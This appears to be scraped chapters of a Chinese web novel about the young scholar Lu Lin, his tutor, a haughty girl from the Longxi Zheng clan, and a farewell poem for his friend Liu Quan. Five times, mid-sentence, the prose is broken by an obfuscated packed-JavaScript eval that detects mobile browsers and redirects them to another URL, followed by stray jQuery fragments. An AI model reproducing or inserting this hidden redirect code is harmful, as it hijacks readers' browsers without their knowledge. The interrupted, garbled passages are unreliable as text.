可前面七位,包括太祖皇帝在内,都死得蹊跷 。 而且他们驾崩的年纪都十分的接近。 王晋语气平静平静得让沈春芳愈发心慌。 “皇室将此事瞒得很深每一代帝王驾崩都会有无数太医、宫人陪葬。” “但我还是查到了蛛丝马迹。” 沈春芳只觉得一股寒意从脚底直冲天灵盖。 还没等他从这惊天的秘闻中回过神王晋又抛出了另一个更惊人的消息。 “漱玉台那边也有消息了。” “中州的龙翻身龙脉出事了。” 龙脉又出事了? 沈春芳闻言脸色煞白急忙追问。 “什么事?” “地气外泄草木无故枯黄。” “水脉浑浊河中鱼群尽皆浮尸。” “消息已经被朝廷死死封锁了。” 沈春芳脸上满是哀色嘴唇哆嗦着: “天亡我大夏不成?” “这才开国多少年啊?” “龙脉.龙脉就出现了这等不祥之兆。” 他猛地抬起头死死盯住王晋。 “朝廷如何应对的?” “圣上呢?” “如果真按照你的猜想历任帝王死因都不对那圣上她.岂不是没几年了?” 王晋这次没有回答只是缓缓摇头眼中有些迷茫也有些困顿: “圣上.” “我越来越看不懂她了她的变化太大了。” “谁知道圣上有没有自己的打算呢可圣上毕竟没有亲政比起历代先帝恐怕更” 说完王晋长长地叹了口气没有在这事情上继续深入 “对了璘哥儿那边你怎么解释的?” 沈春芳脸上露出一丝无奈。 “找了个处理家事的借口。” “璘哥儿那边倒是没什么我肚子里这点学问早就被他掏干净了。” “我在与不在都一样。” 王晋闻言沉默了许久。 良久才发出一声叹息。 “璘哥儿这孩子有些生不逢时啊。” “若是太平盛世以他的天资能达到何等成就你我都难以想象。” “可 偏偏是现在. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453176|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 王晋没有再说下去。 气氛沉默了一会王晋话锋一转语气变得轻快: “不说这些了。” “明日你随我一道去接个孩子。” 前一刻还在讨论惊天秘闻 话题转得太快沈春芳一时没能跟上。 怔怔地看着王晋脑海里忽然闪过一个荒唐的念头。 师兄这些年浪荡江湖行事不羁莫不是 沈春芳的眼神逐渐变得古怪起来试探性地开口: “师兄你莫不是在外面.跟哪个花魁.” 话没说完但意思已经再明显不过。 王晋满头黑线额头上青筋跳了跳。 “想什么呢?” “是我一位故友的孩子家中遭了变故临终前托付给我照看。” 沈春芳闻言讪讪地笑了笑可眼中还是有些怀疑。 故友? 师兄的故友他大多都认得没听说谁家还有这么个遗孤。 …… 翌日。 洛阳府城郊的一处别院。 沈春芳跟着王晋走进院门一眼就看到了王晋口中的孩子。 是个约莫六七岁的小女娃。 穿着一身精致的锦绣襦裙梳着两个可爱的双丫髻粉雕玉琢唇红齿白一双乌溜溜的大眼睛透着一股子机灵劲儿。 单看模样确实是个招人疼的娃娃。 可那小女娃一开口沈春芳刚刚升起的那点好感一下就没了。 小女娃叉着腰仰着小脸颐指气使地看着王晋。 “王晋。” “我爹就是这么把你托付给我的?你就这么不负责任转手就把我交给这个怪老头?” 清脆童音里满是嫌弃。 怪老头? 沈春芳气的胡子都翘起来了。 自己堂堂文定公致仕前也是朝中大儒桃李满天下如今竟被一个黄毛丫头叫做怪老头? 他深吸一口气告诉自己不和小孩子一般见识。 转过头压低了声音没好气地问王晋: “师兄这到底是谁家的孩子?” “脾气这么大。” 王晋见到沈春芳吃瘪的模样脸上满是笑意慢悠悠地吐出四个字。 “陇西郑氏。” 第127章 夫子回来了。 沈春芳闻言一愣,这才缓缓点头。 陇西郑氏。 难怪这丫头一副不知天高地厚的样子。 传承千年的世家大族。 更是与大夏皇室世代联姻的望族。 而且当今圣上的母族,便是陇西郑氏。 王晋看着沈春芳的神色变化,脸上的笑意更深了。 他拍了拍沈春芳的肩膀: “既然知道了,那这孩子,就托付给师弟你了。” “反正你这么会教学生,当初带璘哥儿的时候,他不也差不多是这般大小吗?” 沈春芳闻言,嘴角抽了抽。 璘哥儿当初可比这小丫头懂事多了。 而且根本不用自己费心。 沈春芳长长地叹了口气,看着眼前这个还一副不信任的目光打量自己的小女娃,只觉得一个头两个大。 这哪里是接了个孩子。 这分明是接了祖宗啊。 罢了。 谁让他是自己的师兄呢。 沈春芳最终还是无奈地点了点头,算是应承了下来。 看来这趟回清河县,还得带个小拖油瓶回去了。 正好还给当初借口给璘哥儿求一桩婚事圆回来了。 就是不知道璘哥儿看到后是什么反应。 文庙街,卢家小院。 天光微熹,晨雾尚未散尽,巷子里传来邻家开门声和几声犬吠。 卢璘站在院中的石桌前,身形笔挺,雷打不动地进行晨练。 腕部平稳,笔锋流转。 一个个字在宣纸上浮现,结构严谨,神采飞扬。 书道三境,技、道、合一。 他如今算是踏入了第二境“道”的门槛,融合了前世诸多书法大家的精髓,笔下自有一股超然气韵。 可距离第三境,融百家之长,推陈出新,走出自己的路,还很遥远。 书圣自传中曾有明确记载,书道走到极致是何等光景。 一字可镇山河,诛鬼神。 卢璘更是亲眼见过,书圣一字**佛门金身罗汉的场景。 书圣那种境界虽然距离自己还很遥远,但至少方向是对的。 而且有前世无数书法大家的智慧结晶作为启发,自 己的起点,比这个世界的任何人都要高。 半个时辰后,院门被轻轻推开。 李氏提着一个菜篮子走了进来,脚步放得很轻。 看到儿子专注练字的身影,眼中既有心疼,又有欣慰。 璘哥儿总是这么懂事,从来不用自己操心。 还给自己挣回来一个三品诰命夫人。 李氏心里满是自豪。 这时,准备去店里开张的卢厚也从屋里走了出来,看到李氏回来,忍不住开口调侃: “哎哟,三品诰命夫人还要亲自去买菜啊。” “真是为难你了,下次我去。” 李氏闻言,没好气地白了卢厚一眼,转头看向卢璘,自豪感满满道: “那是,你不看我生了个什么儿子!” “璘哥儿,你瞧瞧你爹吧,这都阴阳怪气多少天了?” “不就一个三品诰命夫人吗。” “有本事让你儿子给你也挣一个回来。” 卢厚还没来得及开口,一道小小的身影就从屋里蹿了出来,扎着两个冲天辫,奶声奶气。 “我也要!” “哥哥,我要三品诰命娃娃。” 奶声奶气的声音,让院子里的三人都笑了起来。 卢璘耳边听着爹娘妹妹的笑声,心里踏实极了。 读书,练字,家人陪伴,日子一天比一天好。 这时,院外传来一道熟悉的喊声。 “璘哥儿。” 卢璘回头看去,脸上露出惊喜。 夫子回来了。 沈春芳笑脸盈盈地推开院门,走了进来,身边还跟着一个粉雕玉琢的小女娃,唇红齿白,煞是可爱。 睁着一双乌溜溜的大眼睛好奇地打量着院子里的每一个人。 “夫子,您终于回来了。”李氏和卢厚连忙上前问好。 沈夫子捋了捋胡须,目光落在李氏身上,笑着调侃道。 “璘哥儿他娘,我可在院外就听见了。” “如今可是名副其实的三品诰命夫人了啊!” 李氏闻言,有些不好意思捂住了嘴,但眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453177|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼尽是笑意。 “都是托了圣上洪福,不然我大字不识一个的村妇,哪能当什么诰命夫人啊。” 沈夫子闻言笑着点头身旁小女娃也跟着咯咯笑了起来笑得比谁都开心。 众人的目光这才落到那小女娃身上李氏看着小女娃那副可爱样子也是越看越是喜欢。 又想起夫子分别前说的要回去给璘哥儿寻一门好亲事。 李氏心里一动试探性地看向沈春芳: “夫子您之前说的难不成就是这个小姑娘啊?” 沈夫子闻言脸上的笑意更浓了煞有介事地点了点头对着卢璘挤了挤眼。 “没错。” “璘哥儿怎么样?” “这可是陇西郑氏女圣上的母族啊!多少人想求郑氏女求都求不得呢。” 卢璘摇头笑了笑还没来得及开口。 小女娃却先一脸不屑地开了口声音清脆却毫不客气。 “喂你这老头乱说什么呢?” “本小姐的终身大事还能轮到你做主不成?” 说完小女娃又居高临下地扫视了一圈卢家小院鼻翼微微皱起满是瞧不上的神情。 “我以后就住这?” “这么破烂连我家下人住的地方都比这好。” 夫子玩笑一开完就后悔了。 他光记着打趣璘哥儿了倒是忘了这位大小姐的脾气这一茬了。 卢璘眉头微微皱起。 这大小姐的脾性未免也太大了些。 夫子怎么会带这么个大小姐回来? 不过卢璘看着对方年纪尚小又是夫子亲自带回来的也不准备和一个小孩子计较。 李氏则依旧是满脸笑意蹲下身子柔声对着小女娃说: “小囡囡那你想住哪里呀?” “婶婶给你买糖人吃再给你找个伴儿好不好?” 说着李氏便把躲在自己身后同样好奇打量着对方的小石头拉了出来。 小石头看到和自己年龄相仿的玩伴大眼睛里满是好奇。 可小女娃冷哼一声 吓得小石头赶紧又躲回了李氏身后。 李氏脸上的笑容也尬住了一时不知该如何是好转头看向了卢璘。 第128章 龙虎榜! 卢璘脸色顿时沉了下来,一个眼神扫了过去,想吓唬吓唬对方。 没想到小女娃反而把小胸脯一挺,仰着脸,毫不示弱地和卢璘对视,一双眼睛瞪得大大的: “还有你,瞪什么瞪!” “我知道你是谁,不就是在京都出了点风头,有点学问吗?” “就你这种出生,还癞**想吃天鹅肉,本小姐可看不上你们这种泥腿子。” 沈夫子在一旁听得,眼皮子狂跳,连忙上前打圆场,拉了拉卢璘的袖子。 “璘哥儿,别跟她一般见识。” “毕竟是世家出身,娇惯了些,忍一忍,忍一忍。” “我回头让柳府那边,另外给她安排个住处。” 小女娃听到这话,反而更来劲了。 “谁让你安排了?” “本小姐想在哪里,就在哪里,是听你的还是听我的?” 沈夫子这下是彻底犯了难,一脸无奈地转头看向卢璘。 卢璘暗自摇头,看着小女娃这副桀骜不驯的样子,忽然想起了年少时的少爷。 当年的少爷,也是活脱脱的一个熊孩子。 如今,不也没长歪吗。 罢了,时间还长,慢慢教育吧。 卢璘收回目光,对着李氏点了点头。 “娘,你带她去收拾个房间出来吧。” “噢,对了,大小姐,你叫什么名字?” 小女娃鼻孔朝天,看都没看卢璘一眼:“记住了,本大小姐叫郑宁。” 文庙街小院,地方不大,但房间倒也够用。 夫子辞了柳府教书的差事,也在卢家小院住了下来。 郑宁的房间被安排在了卢璘隔壁。 原本是留给小石头长大后的房间,现在小石头年龄还小,一直跟着李氏和卢厚住。 夜幕降临,晚饭时分。 饭桌上,小石头扒拉着碗里的米饭,小脸蛋上满是不悦,吃饭都不香了。 那双乌溜溜的大眼睛,时不时就朝着抢了自己未来房间的郑宁瞪过去。 李氏看在眼里,心疼地给女儿夹了一筷子菜,柔声安抚道: “我们小石头最乖了,等你再长大几岁,哥哥说不定就考上状元了。” “到时 候咱们一家搬到京都去住大宅子给你一个比这大十倍的房间好不好?” 话音刚落传来郑宁的嗤笑声。 郑宁淡淡地撇了一眼卢璘满是讥笑地开口道: “就你也想考状元?” 李氏脸上的笑容瞬间就消失了。 这小女娃脾气大点骄纵点她都能忍。 毕竟是夫子亲自带来的而夫子是璘哥儿的恩师李氏一直觉得自家儿子能有今天的出息夫子功不可没。 所以能忍则忍。 可当着她的面嘲笑她的儿子这李氏可就忍不了了。 刚要开口反驳却听到郑宁不紧不慢地继续说道。 “明年的乡试会试可和以往大不相同。” “毫不夸张地说明年科举的难度远超往年任何一届。” “你的学问就算放在往年有状元之姿可放到明年说不定连会试都过不了。” 此言一出饭桌上除了卢璘所有人都愣住了。 卢璘却像是没听到一般连眼皮子都没抬好像郑宁说的事情跟自己没有半点关系。 沈春芳闻言却皱起眉头 郑宁出身陇西郑氏圣上的母族这等世家消息向来灵通绝非空穴来风。 沈春芳放下了筷子神情严肃地看向郑宁主动开口询问: “小宁宁你跟大家说说怎么个和往年不同法?” 郑宁本不想多说可见卢璘那一副满不在乎的样子心里反而来劲了。 她扬起小下巴开口道:“以往那些传承千年的世家大族是不会让族内最顶尖的天才下场科举的。” “不过这次可不一样了。” “我可听说了圣上有意让世家大族们全部下场角逐出历朝历代以来含金量最高的状元。” “可以说明年的大比是科举以来最强的一次可称之龙虎榜!” 沈夫子闻言心中一惊看着郑宁那一副信誓旦旦的口吻连忙追问:“消息从何处得来的?” 郑宁一副看**的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453178|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神扫了沈春芳一眼: “你别管是哪来的消息知道是真的就行了。” “我也不在你们家白吃白住。” “这种消息,提前一年得知有多重要,不用我说了吧?就当是我这段时间的吃喝用度了。” 说完,郑宁又将目光转向卢璘,面露讥笑: “吃吃吃,就知道吃。” “怎么,难不成是知道自己没把握考上状元,索性就放弃了?” 沈春芳脸色愈加凝重。 哪怕他对璘哥儿学问有信心,可一想到那些世家大族深不可测的底蕴,心里也不免泛起了嘀咕。 李氏和卢厚见夫子这般神情,心里也跟着慌乱起来。 李氏急忙开口:“夫子,真有这么严重吗?” 沈夫子沉重地点了点头。 “世家大族,尤其是最顶尖的那几家,底蕴之深厚,远超常人想象。” “以往,他们只是随随便便派个族中的旁支子弟下场,便能轻易考中进士,甚至夺得状元。” “若是他们将真正的底蕴尽出……那场面,确实可怕。” 李氏和卢厚听完,心彻底沉了下去,脸上满是担忧。 两人不约而同地转头看向卢璘。 却见卢璘仍旧是一副不为所动的模样,心里更慌了。 “璘哥儿,你先别吃了,听听夫子怎么说?” 卢璘闻言,慢条斯理地吃完了碗里最后一口饭,完事又擦了擦嘴,这才抬起眼,给李氏和卢厚一个安心的眼神。 转头看向郑宁,淡淡地回应了四个字。 “事在人为。” 听到璘哥儿的回答,李氏和卢厚这才稍稍安心。 可一旁的郑宁又发出了讥笑声: “没事,大不了明年不考了呗。” “再等个三年,反正你年纪还小,等得起。” 卢璘被郑宁这副老气横秋的口吻给逗笑了。 看着眼前这个还没桌子高的小丫头,忍不住开口。 “是你该操心的事吗?” “你当前的主线任务是尽快长到桌子的高度.” 第129章 少爷辞行 看到卢璘还有心思开玩笑,李氏的担心,总算是放回了肚子里。 她本就是个嘴碎的性子,心才刚安定下来,那张嘴就又开始闲不住了。 刚放下筷子,就忍不住抱怨: “你说这圣上也是,到底怎么回事啊?” “就不能让我儿子安安心心考个试吗?” “怎么偏偏赶在明年,又整出这么多幺蛾子。” 换做平时,卢厚肯定不敢让李氏在背后议论圣上。 可这会儿是在自己家里,又刚听了科举的难处,心里也跟着堵得慌。 再加上心里一直对圣上只赏赐自家婆娘,没赏赐自己有些不平衡。 卢厚也难得地附和了一句: “圣上这事,办得是有些拧不清。” “就说赏赐这事吧。” “咱们在京都的时候,他不赏。” “偏偏等咱们千里迢迢地回了清河县,才把圣旨送来。” “再说了,赏你一个三品诰命夫人算怎么回事?” “我作为一家之主,半点赏赐没有,真是.” 卢厚话还没说完,李氏啧啧啧地笑了起来,给了卢厚一个大大的白眼。 “哟,还怪上圣上了?” “说来说去,不就是没给你赏赐,心里不舒坦了?” “小心眼。” 她转头对着卢璘,一副告状的语气。 “璘哥儿,你瞧瞧。” “你爹这人,可会记事了。” “这事啊,他指定得在心里念叨好几年,你信不信?” 郑宁一直竖着耳朵听着,听到这里,一张粉雕玉琢的小脸瞬间就沉了下去。 猛地一拍桌子,桌上的碗筷都跟着跳了一下。 “哼!” 小女娃冷哼一声,目光直直地望向卢厚。 “就你也想当三品荣禄大夫?” “做梦去吧!” 说完,直接从椅子上跳下来,头也不回地冲进了自己的房间。 砰的一声,房门被重重关上。 饭桌上,只剩下目瞪口呆的卢家众人。 卢厚也傻眼了,举着筷子,愣在原地。 “我我这是哪句话说错了?” 卢璘则看着那 扇紧闭的房门,若有所思。 转过头,笑了笑,轻声安抚自家老爹: “爹,没事。 “这丫头应该是和圣上沾亲带故。 “以后,别当着她的面嘀咕圣上就成了。 卢厚听了这话,这才恍然大悟,闷闷地点了点头,没再吭声。 翌日。 卢璘刚结束晨练,院门就被人推开了。 少爷风风火火地闯了进来,身上背着行囊,一副要出远门的打扮。 卢璘看着少爷这身行头,有些意外。 “你这是去哪? 少爷一看到卢璘,脸瞬间就垮了下来: “璘哥儿,你才刚回来,我就要走了,我舍不得你啊。 中气十足一嗓子,把屋里的人都给喊了出来。 准备去铺子开张的卢厚,早早起来收拾的李氏,还有上了年龄觉少的夫子,连带着刚起身的小石头和郑宁,都好奇地探出头来。 院子里一下子热闹起来。 少爷看到郑宁这个陌生小女娃,到嘴边的哭嚎又硬生生憋了回去,重重地叹了口气: “还不是我爷! “给我爹写了封信,说我在家天天啥事不干,游手好闲,非得把我弄到镇北城去。 说着说着,声音越发悲戚: “璘哥儿,你说我这命怎么就这么苦啊。 “我到底是不是柳家独苗啊?这可是镇北城啊,真正的战场啊,万一出了点什么意外,我们柳家可就真绝后了,我爷他就一点也不怕吗? 卢璘看着少爷这副样子,忍不住调侃了一句: “绝后倒是不至于。 “说不定老爷和夫人正准备给你添个弟弟妹妹呢。 即便知道少爷要上镇北城,可卢璘是一点担心没有。 柳阁老怎么可能真让自家独苗去冒险呢。 有庞将军坐镇镇北城,多半是柳阁老看到了少爷拳脚上的天赋,想让他去军中历练一番,磨磨性子。 少爷一听,眼睛瞪得老大了,看着样子,真信了几分,脸上的表情更难过了。 一旁的沈夫子捋着胡须,笑而不语。 柳阁老让柳权去镇北城的事,他早就知晓。 见少爷真要 < ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453179|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>哭出来了沈夫子才笑着开口解释。 “权哥儿你爷爷这是为你好。” “圣上准备大力推行演武堂以前只是搭了个架子这次怕是要动真格了。” “不止是你我沈家那些没有读书天赋的子弟也都奉命加入了各地的演武堂。” 少爷听得一知半解还是一副垂头丧气的模样。 卢璘却在飞快地消化着夫子话里的信息。 又是龙虎榜又是大力推行演武堂。 圣上这一连串的动作未免太过频繁。 大夏是不是要出什么事了? 李氏听完夫子的解释这才听明白了事情的始末回头就瞪了卢璘一眼不满璘哥儿拿老爷夫人开玩笑开玩笑。 “你看看人家夫子再听听你说的像什么话。” 少爷难得见卢璘被李氏数落心里那点离愁别绪顿时散了不少脸上也露出了笑意。 “就是!” “对了璘哥儿我爷在信里还问了你答应给他写的那首诗写好了没有?” “写好了我这次正好顺道带过去。” 说完少爷话锋一转笑嘻嘻地凑到卢璘跟前一把搂住他的肩膀。 “咱们可是穿一条开裆裤长大的兄弟你就没想过也送少爷我一首?” 卢璘闻言满头黑线。 从柳阁老到老爷再到少爷。 这柳家祖孙三代怎么都一个德行。 沈夫子一听少爷的提议也来了兴趣略带期待地看向卢璘。 就连一直没什么表情的郑宁此刻也悄悄竖起了耳朵目光落在了卢璘身上。 李氏和卢厚对视一眼都从两人眼中看到了期待。 他俩不懂虽然分不清诗词好坏。 但只要是璘哥儿写的那就是天底下最好的诗。 更何况李氏可还记着呢。 之前从京都回来时就听夫人说璘哥儿写的诗在京都可值钱了 “写必须写!” 李氏一拍手比谁都积极。 “少爷都要上战场保家卫国了璘哥儿你怎么也得写一首。” 一时间院子里所有人的目光都汇聚到了卢璘身上。 李氏都发话了卢璘也不得不听沉吟片刻点了点头。 “小石头。” “去屋里把笔墨纸砚拿来。” 第130章 提三尺剑,立不世之功 一道道目光下,卢璘提笔,饱蘸浓墨。 手腕悬空,身形笔挺。 宣纸铺开,笔锋直动。 沈春芳站在一旁,目光紧随笔锋,口中下意识地轻声念出。 “《与柳权别》。” “昭宁三十年,送少爷柳权赴镇北城有感.” “男儿何不带吴钩,收取北疆五十州。” 前两句一出,沈夫子的眼睛猛地亮了起来,忍不住击掌叫好。 “好!” “好一个‘带吴钩,收五十州’!” “开篇便有吞吐山河之气,将少年人建功立业的雄心壮志,写得淋漓尽致!” 沈夫子激动的胡须都在颤抖。 这两句诗,简直是为即将奔赴沙场的权哥儿量身定做。 没有半分离愁别绪,只有金戈铁马的豪迈与一往无前的气概。 这等气魄,寻常读书人如何写得出来。 也不知道璘哥儿这脑袋怎么长的,难不成真去战场上走过一遭不成? 郑宁双手抱胸,但她的视线没有停留在诗句上,而是直勾勾地盯着字迹。 尽管不是第一次见卢璘的字迹。 但每一次见到这种字体,郑宁都大有感触。 笔画之间,既有端正庄严,又有飘逸灵动。 尤其是这首《与柳权别》,更是写出了锋锐之气。 气韵超然,隐隐有自成一派的迹象。 大夏书法名家她尽皆知晓,可没有一家的路数,与眼前的字迹相符。 卢璘这手字,究竟是师从何人? 原本还愁眉苦脸的少爷,在听到这两句诗的瞬间,只觉得一股热血从脚底直冲头顶。 下意识地挺直了腰杆,双拳紧握。 此刻心中已没了半点离愁,和对前路的畏惧。 卢璘的笔并未停下,手腕继续平稳地移动。 “请君暂上凌烟阁,若个书生万户侯。” 落笔,收锋。 整首诗,一挥而就。 沈夫子看着最后两句,口中反复吟诵,脸上的赞叹之色更浓。 “请君暂上凌烟阁,若个书生万户侯……” “妙啊,当真是妙不可言!” 夫子长长地叹了口气 满是感慨地看向卢璘: “璘哥儿你这当真是素有急智。” “如此短的时间内竟能写出这等级别的佳作。” “这首《与柳权别》气魄宏大意境高远至少也是一首达府之作。假以时日待其传唱开来鸣州亦可期!” 大夏亦有凌烟阁阁中供奉着随太祖皇帝开疆拓土的二十四位功臣画像。 只是大夏读书人地位超然。 圣院的地位远远超过了凌烟阁天下读书人无不以在圣院留名为毕生追求。 而璘哥儿却反其道而行之以凌烟阁功臣激励柳权劝慰普通人同样可以立下不世之功封万户侯。 这份巧思这份气魄确实别出心裁。 少爷还愣在原地怔怔地看着那宣纸上的四句诗。 沈夫子拍了拍他的肩膀神情严肃地叮嘱道: “权哥儿这幅原稿你一定要好生保管。” “到了镇北城关键时刻说不定真能救你一命。” 少爷闻言身子一颤这才猛地反应过来。 瞬间明白了璘哥儿为自己写诗的深意。 不仅仅是一首送别诗更是一份护身保障。 少爷的眼眶瞬间就红了。 他小心翼翼地走上前将宣纸拿起郑重地折叠好再小心翼翼地放进自己最贴身的衣襟里轻轻拍了拍。 “璘哥儿谢了。” 郑宁歪着小脑袋 卢璘瞥了郑宁一眼没多想走上前重重地拍了拍少爷的肩膀沉声道: “大丈夫当提三尺剑立不世之功。” “少爷好好干。” “让柳阁老让所有人都看看咱们少爷不比任何人差。” 少爷重重地点了点头再没有了先前的半分颓丧。 对着卢璘对着沈夫子对着李氏和卢厚深深地鞠了一躬。 而后转身大步离去。 李氏看着少爷远去的背影忍不住感叹了一声。 “少爷也长大了啊。” 自从少爷辞行后卢璘日子彻底静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453180|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了下来。 每日天不亮便起在院中石桌 前练字一个时辰而后便是看书钻研圣贤文章。 三点一线日复一日。 夫子倒是时不时会外出一趟不过每次离开的时间都不久过不了几日便会回来。 只是每日练字的时候身边多了一个郑宁。 起初卢璘还以为这丫头只是一时兴起三分钟热度。 没想到竟真的坚持了下来。 每日清晨当卢璘推开房门总能看到郑宁早早地等在院子里 不过郑宁很懂事从不靠近也不出声打扰就那么远远地站着睁着一双大眼睛看着卢璘练字。 等卢璘练完字后又默默回房间。 卢璘着实有些意外这丫头除了那身大小姐脾气性子其实异常安静。 一天的大多数时间不是在自己的房间里睡觉就是在院子里发呆。 唯独在卢璘练字的时候她能安安静静地待上许久。 可卢璘也从未见她拿起过笔就只是看着。 转眼十个月过去了。 秋去冬来清河县迎来了又一个寒冬。 北风卷着枯叶卷起千堆雪。 又是一个清晨练完晨字的卢璘收起笔墨转身回屋郑宁一言不发地跟在身后。 进到屋里李氏和卢厚还没起卢璘往炉子上烧了一壶热水等爹娘起来可以直接用。 等待水开的时候李氏和卢厚也从房内走了出来。 李氏身上裹着厚厚的棉袄一边搓着手一边对卢璘开口说: “璘哥儿今天记得去县衙领年俸。” “那几十担米光靠你爹一个人够他折腾的。” 卢璘点了点头心里忍不住发笑娘这是掐着日子啊每天盼着领她那三品诰命夫人的俸禄。 卢厚在一旁接过话茬:“璘哥儿那咱们得早点去店里还要开张呢。” 话音刚落李氏一个眼神就瞪了过来: “就知道惦记你那破下水铺子。” “一年到头挣的那点钱还不够你补贴那些无关紧要的外人。” “要不是有我这份年俸你早就喝西北风去了真是拧不清轻重。” 第131章 大幕拉开! 卢厚被自家婆娘怼得哑口无言,一张脸涨得通红。 他还以为自己偷偷补贴老宅那边的事,婆娘和儿子都不知道呢。 没想到,原来他们早就一清二楚了。 李氏看他那副窘迫样,冷哼了一声,又继续开口: “你不会真以为自己藏得很好吧?” “铺子里的钱货我也经手,账上哪止赚那么一点。” 卢璘在一旁听着娘怼老爹,忍不住笑出了声。 他当然知道,娘口中那些无关紧要的外人,自然就是祖父一家。 虽然当初在公堂上断了关系,但老爹心软,终究是念着那份血脉亲情,一直偷偷接济着。 这件事,不止自己知道,娘也心知肚明,却从未阻止过。 卢厚听完,长长地叹了口气,眼神里满是感动。 也知道婆娘和儿子这是体谅他。 李氏见他这副模样,语气缓和了些,但想起卢厚大哥做的糟心事,还是敲打了一句: “给你爹娘送钱,我不拦着你。” “但像上次你大哥那样,守在咱们家门口一整晚的事,以后不准再有了。” “什么德行,都半截身子快入土的人了,还想着打我儿子的主意,也不想想自己以前做过什么亏心事。” 卢厚连忙点头:“我省的,我省的。” 他当然拎得清轻重,家里什么事,也比不上璘哥儿科举重要。 一直安安静静待在角落的郑宁,冷不丁地开了口。 “我也陪你们一起去吧。” 卢璘闻言有些意外,转头看向郑宁,眼中略带疑惑。 这丫头自从住进卢家小院,除了在院子里活动,基本上就没出过门。 每天吃了睡,睡了吃。 卢璘甚至一度怀疑她是不是身体有什么问题,可看她那红润的气色,又比寻常孩子要好上太多。 没想到今天,居然主动要求出门。 郑宁顺着卢璘的眼神,点了点头,随后脑袋又歪向了窗外。 卢璘也没有多问,点了点头,顺**代了一句: “那你跟着我们,别乱跑。” 郑宁没有出声,卢璘便当她是默认了。 晨雾中,三人走出了卢家小院,卢璘 拉着板车在前,卢厚和郑宁紧随其后。 从走出文庙街后,径直朝着县衙的方向走去。 不多时,清河县衙熟悉的石狮子已经在视线内了。 远远的,卢璘便注意到,今天县衙门口似乎比往日要热闹多了。 还没等他细想,一道身影就从衙门内快步迎了出来。 县尊吴井元穿着一身崭新的官袍,脸上红光满面,步履轻快地走了过来。 他远远地就看到了卢璘,隔着老远便拱手高喊: “卢案首!” “下官正想着今日派人将胭脂米送到府上,没想到,卢案首竟亲自来了。” 吴井元几步走到跟前,态度比以往任何时候都要热情。 卢璘回了一礼,目光在吴井元身上扫过,见对方一副春风得意的样子,点了点头: “有劳吴大人挂心了。” “看大人的样子,可是遇到了什么好事?” 吴井元闻言,捋着胡须,笑声爽朗回答道: “哈哈哈,瞒不过卢案首的眼睛。” “托卢案首去年府试写出传天下佳作的福,本官这位置,怕是要挪一挪了。” 话说到这个份上,卢璘哪里还能听不出来。 吴大人这是要高升了。 “那便要提前恭贺吴大人了。” 卢璘笑着拱了拱手,顺嘴问了一句。 “不知大人高升何处?” “京都。” “巡察御史。” 巡察御史,从八品。 而县令,是正六品。 明面上看,这是降了职。 可其中的门道,却远非品级高低那么简单。 从地方到京畿,这看似降,实则是高升。 不知多少在地方上熬白了头的县令,削尖了脑袋都求不来这样一个机会。 而且巡察御史一职,往往只是一个过渡。 进了京都,便意味着入了真正的权力中枢,往后积累资历,再往上走,就容易多了。 卢璘心中了然,同时也有些意外。

